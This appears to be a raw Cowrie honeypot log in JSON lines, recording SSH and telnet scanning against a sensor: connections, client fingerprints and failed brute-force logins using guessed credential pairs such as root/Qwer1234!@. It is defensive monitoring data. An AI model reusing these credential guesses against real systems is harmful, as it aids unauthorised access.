{"eventid":"cowrie.login.failed","username":"user01","password":"password","message":"login attempt [user01/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:41:03.064507Z","src_ip":"223.17.1.118","session":"a9506233d2af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:41:04.278255Z","src_ip":"223.17.1.118","session":"a9506233d2af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.197.186.7","src_port":23239,"dst_ip":"10.17.0.5","dst_port":22,"session":"991ffa5135d9","protocol":"ssh","message":"New connection: 223.197.186.7:23239 (10.17.0.5:22) [session: 991ffa5135d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:41:05.249789Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:41:05.255541Z","src_ip":"223.197.186.7","session":"991ffa5135d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:41:07.680259Z","src_ip":"223.197.186.7","session":"991ffa5135d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwer1234!@","message":"login attempt [root/Qwer1234!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:41:11.400570Z","src_ip":"223.197.186.7","session":"991ffa5135d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.4","message":"Connection lost after 7.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:41:12.617403Z","src_ip":"223.197.186.7","session":"991ffa5135d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.957351207733154,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:41:14.619122Z","src_ip":"107.6.151.170","session":"88f2e1acc70c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"217.160.226.51","src_port":36628,"dst_ip":"159.203.135.109","dst_port":22,"session":"0bb6a2761336","protocol":"ssh","message":"New connection: 217.160.226.51:36628 (159.203.135.109:22) [session: 0bb6a2761336]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:41:15.845017Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:41:15.852095Z","src_ip":"217.160.226.51","session":"0bb6a2761336","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:41:15.961039Z","src_ip":"217.160.226.51","session":"0bb6a2761336","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"os10+ZTE","message":"login attempt [root/os10+ZTE] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:41:16.425430Z","src_ip":"217.160.226.51","session":"0bb6a2761336","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":40172,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed32d8121cc2","protocol":"ssh","message":"New connection: 91.92.40.4:40172 (10.17.0.5:22) [session: ed32d8121cc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:41:17.178994Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:41:17.197446Z","src_ip":"91.92.40.4","session":"ed32d8121cc2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:41:17.280873Z","src_ip":"91.92.40.4","session":"ed32d8121cc2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:41:17.540385Z","src_ip":"217.160.226.51","session":"0bb6a2761336","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123","message":"login attempt [postgres/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:41:17.624754Z","src_ip":"91.92.40.4","session":"ed32d8121cc2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:41:18.834070Z","src_ip":"91.92.40.4","session":"ed32d8121cc2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.182.83.231","src_port":53650,"dst_ip":"10.17.0.5","dst_port":22,"session":"42028f755b54","protocol":"ssh","message":"New connection: 5.182.83.231:53650 (10.17.0.5:22) [session: 42028f755b54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:41:25.345961Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:41:25.350204Z","src_ip":"5.182.83.231","session":"42028f755b54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:41:25.475557Z","src_ip":"5.182.83.231","session":"42028f755b54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A1234567","message":"login attempt [root/A1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:41:25.981073Z","src_ip":"5.182.83.231","session":"42028f755b54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:41:27.100357Z","src_ip":"5.182.83.231","session":"42028f755b54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.460773944854736,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:41:34.106772Z","src_ip":"107.6.151.170","session":"e28854051a97","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":45704,"dst_ip":"159.203.135.109","dst_port":23,"session":"29d6893c85cd","protocol":"telnet","message":"New connection: 170.64.224.25:45704 (159.203.135.109:23) [session: 29d6893c85cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:41:34.135645Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":47960,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1721c6c150d","protocol":"telnet","message":"New connection: 170.64.224.25:47960 (159.203.135.109:23) [session: d1721c6c150d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:41:38.227197Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":42862,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b13d84c3c2d","protocol":"ssh","message":"New connection: 103.153.68.219:42862 (10.17.0.5:22) [session: 5b13d84c3c2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:41:55.651543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:41:55.655542Z","src_ip":"103.153.68.219","session":"5b13d84c3c2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:41:55.895669Z","src_ip":"103.153.68.219","session":"5b13d84c3c2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1002","message":"login attempt [root/1002] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:41:56.619484Z","src_ip":"103.153.68.219","session":"5b13d84c3c2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:41:57.861862Z","src_ip":"103.153.68.219","session":"5b13d84c3c2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.21517205238342,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:42:13.350669Z","src_ip":"170.64.224.25","session":"29d6893c85cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.935277223587036,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:42:27.162356Z","src_ip":"170.64.224.25","session":"d1721c6c150d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.173.74","src_port":51916,"dst_ip":"159.203.135.109","dst_port":22,"session":"d59bf05b1b8d","protocol":"ssh","message":"New connection: 50.6.173.74:51916 (159.203.135.109:22) [session: d59bf05b1b8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:42:28.531473Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:42:28.536079Z","src_ip":"50.6.173.74","session":"d59bf05b1b8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:42:28.562249Z","src_ip":"50.6.173.74","session":"d59bf05b1b8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linea2024","message":"login attempt [root/linea2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:42:28.642012Z","src_ip":"50.6.173.74","session":"d59bf05b1b8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:42:29.671225Z","src_ip":"50.6.173.74","session":"d59bf05b1b8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.248.201.12","src_port":51390,"dst_ip":"159.203.135.109","dst_port":22,"session":"bcb22455f7e8","protocol":"ssh","message":"New connection: 161.248.201.12:51390 (159.203.135.109:22) [session: bcb22455f7e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:42:33.068089Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:42:33.081293Z","src_ip":"161.248.201.12","session":"bcb22455f7e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:42:33.336508Z","src_ip":"161.248.201.12","session":"bcb22455f7e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome2026$","message":"login attempt [root/Welcome2026$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:42:34.389679Z","src_ip":"161.248.201.12","session":"bcb22455f7e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.86.88.212","src_port":59376,"dst_ip":"159.203.135.109","dst_port":22,"session":"755fd5da9869","protocol":"ssh","message":"New connection: 167.86.88.212:59376 (159.203.135.109:22) [session: 755fd5da9869]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:42:35.561732Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:42:35.565492Z","src_ip":"167.86.88.212","session":"755fd5da9869","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:42:35.647672Z","src_ip":"161.248.201.12","session":"bcb22455f7e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:42:35.659842Z","src_ip":"167.86.88.212","session":"755fd5da9869","protocol":"ssh"}
